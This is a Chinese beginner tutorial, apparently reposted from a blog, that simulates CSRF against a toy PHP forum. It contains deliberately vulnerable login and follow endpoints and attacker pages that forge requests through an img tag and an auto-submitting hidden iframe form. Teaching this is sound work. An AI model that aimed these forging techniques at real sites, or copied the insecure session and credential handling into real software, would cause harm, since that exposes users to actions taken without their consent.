模拟一次CSRF（跨站请求伪造）例子，适合新手

最新推荐文章于 2024-10-10 13:40:52 发布
最新推荐文章于 2024-10-10 13:40:52 发布
阅读量332 收藏 1
点赞数
文章标签： php javascript 前端 ViewUI
原文链接：http://www.cnblogs.com/smallsima/p/8675523.html
版权

GET请求伪造

有一个论坛网站，网站有一个可以关注用户的接口，但是必须登录的用户才可以关注其他用户。

这个网站的网站是www.a.com

有一天有一个程序员想提高自己的知名度，决定利用CSRF让大家关注自己

》》该论坛的目录结构和源码资源

index.html

 1 <!DOCTYPE html>
 2 <html lang="en">
 3 <head>
 4     <meta charset="UTF-8">
 5     <meta name="viewport" content="width=device-width, initial-scale=1.0">
 6     <meta http-equiv="X-UA-Compatible" content="ie=edge">
 7     <title>主页</title>
 8 </head>
 9 <body>
10     <form action="start.php" method="GET">
11         <input type="text" name="startname" /><br>
12         <input type="submit" value="关注他" /><br>
13     </form>
14 </body>
15 </html>

login.html

 1 <!DOCTYPE html>
 2 <html lang="en">
 3 <head>
 4     <meta charset="UTF-8">
 5     <meta name="viewport" content="width=device-width, initial-scale=1.0">
 6     <meta http-equiv="X-UA-Compatible" content="ie=edge">
 7     <title>登陆界面</title>
 8 </head>
 9 <body>
10     <form action="login.php" method="GET">
11         <input type="text" name="username" id="name"/><br>
12         <input type="password" name="password" /><br>
13         <input type="submit" value="登陆"/><br>
14     </form>
15 </body>
16 </html>

login.php

 1 <?php
 2     session_start();
 3     if(isset($_GET['username']) && isset($_GET['password'])){
 4         $name=$_GET['username'];
 5         $password=$_GET['password'];
 6         if($name=="zhangshan" && $password=="wwwww"){
 7             echo "登陆成功,正在跳转。。。。";
 8             setcookie('loginstate',"$name");
 9             $_SESSION["$name"]=$name;
10             echo '<meta http-equiv="refresh" content="0;url=index.html" />';
11         }else{
12             echo "登陆失败，重新登陆......";
13             echo '<meta http-equiv="refresh" content="3;url=login.html" />';
14         }
15     }else{
16         echo "输入有误。。。。。密码不正确";
17         echo '<meta http-equiv="refresh" content="1;url=login.html" />';
18     }
19 ?>

关注的接口，关注之后会打日志到log.txt

 1 <?php
 2 session_start();
 3 if(isset($_GET['startname'])){
 4     if(isset($_COOKIE['loginstate'])){
 5         $name=$_SESSION[$_COOKIE['loginstate']];
 6         $startname=$_GET['startname'];
 7         echo "当前登陆用户为$name";
 8         echo "<br>";
 9         echo "尊敬的$name,你已经成功关注了$startname";
10         $myfile = fopen("log.txt", "w") or die("Unable to open file!");
11         $txt = "尊敬的$name,你已经成功关注了$startname"."\n";
12         fwrite($myfile, $txt);
13         fclose($myfile);    
14     }else{
15         echo "你还没有登陆，跳转中。。。。。";
16         echo '<meta http-equiv="refresh" content="3;url=login.html" />';
17     }
18 }else{
19     echo "请输入你要关注的用户";
20     echo '<meta http-equiv="refresh" content="0;url=index.html" />';
21 }
22 ?>

 

》》攻击者的网站

 攻击者的网站的一个页面是这样的

 1 <!DOCTYPE html>
 2 <html lang="en">
 3 <head>
 4     <meta charset="UTF-8">
 5     <meta name="viewport" content="width=device-width, initial-scale=1.0">
 6     <meta http-equiv="X-UA-Compatible" content="ie=edge">
 7     <title>Document</title>
 8 </head>
 9 <body>
10     如果，客户端不久前登陆过www.a.com,
11     打开此页，自动关注，woshihaore
12     <img src="http://www.a.com/start.php?startname=woshihaoren" />
13 </body>
14 </html>

这样的话，只要用户在登陆过a网站之后，在浏览器中打开b网站的这个网页，就会自动执行该接口，关注自己，提高关注量的目的达到

》》攻击者可以将链接放在任何可以被浏览器解析并发送请求的地方

如果该接口使用的POST传值的话也是可以的，需要在攻击者的网页上构造一个form表单，但是form表单提交是非跨域的请求，所以请求并不会提交，

但是使用iframe可以解决这个问题，iframe可以解决跨域的问题。

————————————————————————————————————————————————————————————————————————————

有些时候，网站可能采用POST来提交参数，但是form表单受制于同源策略的影响，这种情况下的跨域提交数据。

跨域POST请求伪造之邪恶的iframe

有 一个网站a，存在一个接口，这个接口允许已经登陆的用户，关注别的用户，这个接口需要一个被关注的用户的用户名参数，该接口使用POST传参数

网站a的源码结构

index.html页面使用用户登陆后的页面，这个页面的的form表单提交一个被关注人的用户名

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>主页</title>
</head>
<body>
    <form action="start.php" method="POST">
        <input type="text" name="startname" /><br>
        <input type="submit" value="关注他" /><br>
    </form>
</body>
</html>

 

log.txt为日志输出，用户关注的信息会输出到这个日志文件

login.html---为登陆的前端页面

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>登陆界面</title>
</head>
<body>
    <form action="login.php" method="GET">
        <input type="text" name="username" id="name"/><br>
        <input type="password" name="password" /><br>
        <input type="submit" value="登陆"/><br>
    </form>
</body>
</html>

 

login.php---为登陆的后台页面，简单的生成session会话

<?php
    session_start();
    if(isset($_GET['username']) && isset($_GET['password'])){
        $name=$_GET['username'];
        $password=$_GET['password'];
        if($name=="zhangshan" && $password=="wwwww"){
            echo "登陆成功,正在跳转。。。。";
            setcookie('loginstate',"$name");
            $_SESSION["$name"]=$name;
            echo '<meta http-equiv="refresh" content="0;url=index.html" />';
        }else{
            echo "登陆失败，重新登陆......";
            echo '<meta http-equiv="refresh" content="3;url=login.html" />';
        }
    }else{
        echo "输入有误。。。。。密码不正确";
        echo '<meta http-equiv="refresh" content="1;url=login.html" />';
    }
?>

 

 start.php---为关注用户的后台接口，接收POST传值

<?php
session_start();
if(isset($_POST['startname'])){
    if(isset($_COOKIE['loginstate'])){
        $name=$_SESSION[$_COOKIE['loginstate']];
        $startname=$_POST['startname'];
        echo "当前登陆用户为$name";
        echo "<br>";
        echo "尊敬的$name,你已经成功关注了$startname";
        $myfile = fopen("log.txt", "w") or die("Unable to open file!");
        $txt = "尊敬的$name,你已经成功关注了$startname"."\n";
        fwrite($myfile, $txt);
        fclose($myfile);    
    }else{
        echo "你还没有登陆，跳转中。。。。。";
        echo '<meta http-equiv="refresh" content="3;url=login.html" />';
    }
}else{
    echo "请输入你要关注的用户";
    echo '<meta http-equiv="refresh" content="0;url=index.html" />';
}
?>

 

网站b作为攻击者的网站，网站b的目录结构

 

 

index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>测试跨站请求伪造POST</title>
    <script type="text/javascript">
        function csrf(){
            window.frames['steal'].document.forms[0].submit();
        }
    </script>
</head>

<body onload="csrf()">
    <iframe display="none" name="steal" src="./csrf.html">

    </iframe>
</body>
</html>

 

csrf.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <form action="http://www.a.com/start.php" method="POST" display="none">
        <input type="text" name="startname" value="woshihaoren"/><br>
        <input type="submit" value="关注他" /><br>
    </form>
</body>
</html>

 

这种通过在iframe中嵌套form从而达到使form跨域操作。

这样的话，登陆了a网站的人，再访问b网站的主页就会自动关注表单提交的用户名。 

 

转载于:https://www.cnblogs.com/smallsima/p/8675523.html

csrf跨站请求伪造简单示例
10-18
一个简单的csrf跨站请求伪造的示例,只有一个简单的表单提交功能.通过伪造表单提交,完成一个简单的钓鱼案例
csrf攻击模拟
认知 行动 坚持
05-06 7606
之前介绍过csrf的攻击原理和防御, 请见"https://blog.csdn.net/stpeace/article/details/53512283"， 本文就不再赘述。 最近模拟实践了一番，来简要说说： 1. Alice欠Bob 100元钱， 通过银行转账给Bob, 一切合情合理， Alice的浏览器执行的操作是：http://www.bank.com/tra...
跨站请求伪造（CSRF，Cross-Site Request Forgery）
最新发布
坚定目标，超越自我
10-10 1549
由于跨站请求通常无法携带自定义头信息，因此检查请求中是否包含自定义头可以作为一种防御手段。使用自定义请求头是一种防御跨站请求伪造（CSRF）攻击的技术。这种方法的基本思想是在客户端的请求中添加一个自定义的HTTP头部（Header），服务器端检查这个头部以验证请求的合法性。由于跨站请求通常无法设置自定义头部，这为服务器提供了一种简单的验证机制。
模拟CSRF攻击
pan2635376816的博客
07-04 774
一般来说，跨域就是 协议&域名&端口号 有一个不一致就是跨域了，我上面那两个应用端口是不一致的，那不就跨域了吗？谁在阻止跨域？是浏览器处于安全策略阻止非同源请求。事实上，每次跨域请求都是正常发送的，服务端也会正常返回，只是被浏览器拦截了。所以每次请求都会到达服务端。也就是说，至少攻击页面的表单请求是可以发出的，而且由于使用了目标网站认可的cookie，请求会被响应。当浏览器收到服务端响应的数据时，会判断给数据的源和当前页面的源是否同源。针对不同的源，如果后端没有做相应的处理，则会被浏览器过滤。
实战：Express 模拟 CSRF 攻击
azl397985856的专栏
02-20 487
CSRF攻击 是前端领域常见的安全问题，概念方面不再赘述，可以参考维基百科。对于这些概念，包括名词定义、攻击方式、解决方案等估计大家都看过不少，但留下印象总是很模糊，要动手操作一番才能加深...
CSRF跨站请求伪造实例程序
11-07
一个php做的简单的银行管理系统，利用cookie值来达到跨站伪造请求的目的，最终造成银行账户余额被修改。
Python网络请求处理：urlparse构建技巧，一文全解析
在当今信息化快速发展的时代，网络请求处理已成为软件开发中不可或缺的一部分。Python作为一门广泛应用于服务器端开发的语言，其强大的网络请求库为开发者提供了便捷的网络交互能力。本章将为读者概述Python网络请求...
Python网络编程案例：urllib.request如何优雅发送POST请求
网络编程是一种让不同计算机间通过网络交换数据的技术。在当今数字化世界，网络通信已成为软件开发不可或缺的一部分。Python网络编程允许开发者使用简洁的代码来实现复杂的网络交互。这不仅包括客户端和服务器之间的...
【Python Web开发新手必看】
Python Web开发是一个动态且日益增长的领域，它允许开发者使用Python编程语言及其丰富的库来创建网络应用。本章将提供一个对Python Web开发的初步了解，包括其定义、历史以及它在当今技术环境中的重要性。 ## 1.
Go语言Web开发入门：新手必看的RESTful API构建指南
Go语言，又称Golang，是由Google开发的一种静态类型、编译型语言，其语法简洁而富有表现力，非常适合作为Web开发语言使用。Go语言因其高效的运行效率、简洁的并发模型和丰富的标准库，逐渐成为现代Web开发的新宠。 ...
构建业务逻辑框架：Django.dispatch新手入门指南
![python库文件学习之django.dispatch]...# 1. Django框架概述与项目搭建 在本章中，我们将介绍Django框架的基本概念，包括其设计哲学、主要组件和应用场景。随后，我们将引导您完成一个基本的Dj
Flask模拟实现CSRF攻击的方法
09-20
主要介绍了Flask模拟实现CSRF攻击的方法，小编觉得挺不错的，现在分享给大家，也给大家做个参考。一起跟随小编过来看看吧
CSRF———— （一）跨站伪造请求漏洞示例
weixin_43102772的博客
03-01 255
一、什么是CSRF 1.1简介 csrf（cross-site request forgery）跨站请求伪造。缩写为CSRF或XSRF。CSRF通过利用受信任用户的请求来利用受信任的网站，简单来说，就是利用用户请求来利用网站。 1.2 CSRF和XSS区别 XSS是利用用户对浏览器的信任 盗取cookie CSRF是利用网站对用户浏览器的信任 对网站发起请求，达到攻击者述求 1.3 CSRF原...
CSRF攻击模拟
weixin_35754962的博客
01-04 170
CSRF 攻击是一种网络攻击，其目的是在用户不知情的情况下让用户执行恶意操作。攻击者会在用户浏览的网站上嵌入恶意代码，当用户访问该网站时，恶意代码就会自动执行。攻击者可以通过这种方式来窃取用户的敏感信息，或者在用户不知情的情况下购买商品或服务。为了防止 CSRF 攻击，网站可以使用验证机制，例如在用户提交表单时要求输入验证码，或者使用令牌机制来验证用户的身份。 ...
【信息安全】本地环境模拟CSRF攻击
qq_63982199的博客
06-02 611
在本地模拟一次CSRF攻击，实验环境自己搭建，应该算是成功了吧，实现了窃取cookie并验证
CSRF防御及模拟CSRF攻击
qq_37550440的博客
07-19 1093
防御csrf攻击方式 CSRF Token则是为了防止跨站请求伪造攻击而设计的。在CSRF攻击中，攻击者试图诱使已登录的用户在不知情的情况下执行恶意操作，例如转账或改变账户设置。CSRF Token是一种额外的安全措施，用来确认发起请求的页面是可信任的源。
CSRF攻击介绍、模拟、防范
非完美世界
03-21 2204
CSRF攻击Web安全是我们不可忽视的部分，所以了解一下基础的攻击手段的实现和防范，是非常有必要的。 CSRF是什么？ 模拟实现CSRF攻击 防范CSRF攻击 Token的实现 什么是CSRF攻击CSRF（Cross-site request forgery）跨站请求伪造，也被称为“One Click Attack”或者Session Riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意
CSRF跨站请求伪造攻击+案例分析
ylf13的专栏
07-27 3124
最近在拜读《web前端黑客技术揭秘》，不是想学
CSRF跨站请求伪造漏洞
12-06
CSRF（Cross-site request forgery）跨站请求伪造是一种网络攻击方式，攻击者通过伪造用户请求来冒充用户身份，从而进行一些非法操作。攻击者通常会在第三方网站上设置陷阱，引诱用户点击链接或者访问页面，从而触发CSRF攻击。攻击者可以通过这种方式窃取用户的个人信息、账号密码等敏感信息，或者进行一些非法操作，比如在用户不知情的情况下转账、购买商品等。 CSRF攻击的过程一般包括以下几个步骤： 1. 攻击者在第三方网站上设置陷阱，比如在网页中插入一个图片或者链接。 2. 用户在浏览器中访问第三方网站，触发了陷阱，浏览器会自动向被攻击网站发送请求。 3. 被攻击网站接收到请求后，会认为这是用户的合法请求，从而执行相应的操作，比如转账、购买商品等。 防御CSRF攻击的方法包括： 1. 在表单中添加随机的token，防止攻击者伪造请求。 2. 检查Referer头部，确保请求来源于合法的网站。 3. 在cookie中添加SameSite属性，限制cookie只能在同站点请求中发送，从而防止跨站请求伪造攻击。 --相关问题--: 1. 什么是XSS漏洞？ 2. 如何防御XSS攻击？ 3
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值